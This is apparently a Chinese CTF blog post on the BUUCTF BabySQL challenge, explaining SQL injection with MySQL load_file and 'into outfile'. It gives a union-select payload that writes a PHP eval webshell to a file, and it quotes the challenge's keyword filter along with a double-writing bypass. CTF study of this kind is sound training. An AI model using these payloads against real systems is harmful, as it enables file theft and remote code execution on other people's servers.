zoukankan      html  css  js  c++  java
  • sql注入时load_file和into outfile

    sql注入时load_file和into outfile

    前言

    • 环境:buuctf中[极客大挑战 2019]BabySQL1
    • 知识点:load_file和into outfile

    知识点

    load_file

    sql注入时,要是可以用联合查询,找到有回显得位置,用户为root,就可以用loadfile来读取文件

    如:
    select id,name,email from test where password=1 union select 11,22,33

    这时候假设22和33都有回显那么我们就可以利用22和33的位置进行load_file读取文件,这与group_concat不同(最后一个位置才可以)

    outfile

    用户为root,但是这还不够,因为你此时只能导入文件到/tmp这个目录下,没有权限导入到/var/www/html这个目录下,而我们是访问不到/tmp这个目录的,所以传进去的马用不到

    语句

    select id,name,email from test where password=1 union select 11,'<?php @eval($_POST[hacker]);?>',33 into outfile '/tmp/hacker.php'

    思路

    常规方法,这里存在过滤

    $check_list = '/into|drop|load_file|outfile|by|substr|echo|hex|ascii|bin|mid|>|<|\|char|select|where|from|union|greatest|x00|=_|x09|x0a|x0b|x0c|x0d|x2b|or|and|if|insert|having|*|sleep/i'; 
    $username=preg_replace($check_list,"",$_GET['username']); 
    $password=preg_replace($check_list,"",$_GET['password']); 
    

    用双写绕过就好了

  • 相关阅读:
    Qt 字符串QString arg()用法总结
    Qt子窗口QMidSubwindow全屏出现的问题总结
    QString介绍
    Qt控制台输出QString
    汽车辐射监测系统-Qt开发[转]发
    Eclipse Qt开发环境的建立
    串口调节工具
    QT 多线程程序设计 -互斥
    ArcGIS Spatial Query
    IQueryFielter接口
  • 原文地址:https://www.cnblogs.com/NineOne/p/14033370.html
Copyright © 2011-2022 走看看